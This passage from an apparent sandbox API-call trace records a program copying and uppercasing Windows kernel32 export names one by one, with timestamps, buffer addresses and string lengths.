returned="AddVectoredContinueHandler" [0100.990] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0100.990] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0100.990] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0100.991] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0100.991] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0100.991] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0100.991] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0100.991] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0100.991] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0100.991] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0100.991] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0100.991] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0100.991] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0100.991] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0100.992] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0100.992] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0100.992] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0100.992] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0100.992] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0100.992] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0100.992] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0100.992] lstrlenA (lpString="BACKUPREAD") returned 10 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0100.992] lstrlenA (lpString="BACKUPSEEK") returned 10 [0100.992] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0100.992] lstrlenA (lpString="BACKUPWRITE") returned 11 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0100.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0100.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0100.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0100.993] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0100.993] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0100.993] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0100.993] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0100.993] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0100.993] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0100.993] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0100.993] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0100.994] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0100.994] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0100.994] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0100.994] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0100.994] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0100.994] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0100.994] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0100.994] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0100.994] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0100.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0100.995] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0100.995] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0100.995] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0100.995] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0100.995] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0100.995] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0100.995] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0100.995] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0100.995] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0100.995] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0100.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0100.996] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0100.996] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0100.996] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0100.996] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0100.996] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0100.996] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0100.996] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0100.996] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0100.996] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0100.996] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0100.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0100.997] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0100.997] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0100.997] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0100.997] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0100.997] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0100.997] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0100.997] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0100.997] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0100.997] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0100.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0100.997] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0100.998] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0100.998] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0100.998] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0100.998] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0100.998] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0100.998] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0100.998] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0100.998] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0100.998] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0100.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0100.998] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0100.999] lstrlenA (lpString="BEEP") returned 4 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0100.999] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0100.999] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0100.999] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0100.999] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0100.999] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0100.999] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0100.999] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0100.999] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0100.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.000] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.000] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.000] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.000] lstrlenA (lpString="CANCELIO") returned 8 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.000] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.000] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.000] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.000] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.000] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.000] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.001] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.001] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.001] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.001] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.001] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.001] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.001] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.001] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.001] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.001] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.001] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.002] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.002] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.002] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.002] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.002] lstrcpyA (in: lpString1=0x38bdb2c, 